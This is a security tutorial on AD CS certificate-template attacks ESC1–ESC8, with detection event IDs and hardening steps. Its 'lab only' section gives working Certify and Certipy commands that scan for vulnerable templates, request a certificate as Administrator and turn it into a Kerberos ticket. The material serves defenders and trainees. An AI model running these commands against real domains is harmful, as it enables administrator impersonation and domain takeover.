AD CS — ESC1–ESC8: Attacking the Certificate Authority

Theory — what is AD CS

Active Directory Certificate Services (AD CS) is the built-in certificate authority (CA) of Windows. It issues digital certificates to users, computers, and services — for authentication, encryption, and signing. The problem: a certificate can also serve as an authentication factor against Kerberos (PKINIT) — meaning whoever obtains a certificate in someone else's name effectively obtains their identity.

A Certificate Template defines who may request a certificate, for what purpose, and which fields the requester may set themselves. Most organizations have never audited their templates — which is why AD CS is considered the fastest-growing attack vector against AD today, the «new Kerberoasting».

ESC1–ESC8 in brief

• ESC1 — the template lets the requester set the Subject Alternative Name (SAN) + client authentication is allowed + Enrollment is open to everyone: request a certificate «in the name of» Administrator.
• ESC2 — a template with «Any Purpose» or no EKU: suitable for everything, including authentication.
• ESC3 — an Enrollment Agent template: one certificate allows requesting certificates on behalf of others.
• ESC4 — write permissions on the template itself: whoever can edit a template turns it into ESC1.
• ESC5 — powerful permissions on AD CS objects (CA, the CA computer, OID) — indirect exploitation of everything else.
• ESC6 — the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA: every template becomes ESC1.
• ESC7 — ManageCA/ManageCertificates rights on the CA: a CA manager can approve pending requests and issue certificates themselves.
• ESC8 — NTLM Relay against the AD CS HTTP interfaces (web enrollment): relay a computer's authentication to the CA server and get a certificate in its name.

Practice — lab only

# 1. Scanning vulnerable templates with Certify (Windows)
Certify.exe find /vulnerable
# Searching for: Supply in the request, Client Authentication, Enrollee Supplies Subject

# 2. Same scan from Linux with Certipy
certipy find -u attacker@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable

# 3. Exploitation ESC1: Request certificate as Administrator
certipy req -u attacker@corp.local -p 'Password123' \
  -ca CORP-CA -template VulnerableTemplate \
  -upn administrator@corp.local
# 4. Get TGT with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10

Detection

• Event ID 4886/4887 on the CA — a certificate was received/issued: check for a SAN that does not match the requester.
• Event ID 4768 — a TGT with certificate authentication (PKINIT) for an account that should not use certificates.
• Event ID 4898/4899 — a change in CA configuration (including EDITF_ATTRIBUTESUBJECTALTNAME2).
• Certificate requests to one template in a short time from the same requester — a scanning/exploitation pattern.

Mitigation — the defense block (mandatory)

• Template audit: run Certify find /vulnerable or Certipy in your own environment — find what the attacker would find, first.
• Template hardening: remove «Supply in the request», restrict Enrollment to specific groups, enable Manager Approval and Enrollment Agent signatures where possible.
• Remove the EDITF_ATTRIBUTESUBJECTALTNAME2 flag from the CA (blocks ESC6): certutil -config "CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2.
• ESC8: disable web enrollment if not required, or enforce HTTPS + Extended Protection for Authentication (EPA) on the HTTP interfaces.
• Separate roles: whoever manages the CA should not be a Domain Admin, and vice versa.
• Monitor the Event IDs listed above in your SIEM — dedicated Sigma rules for AD CS abuse exist.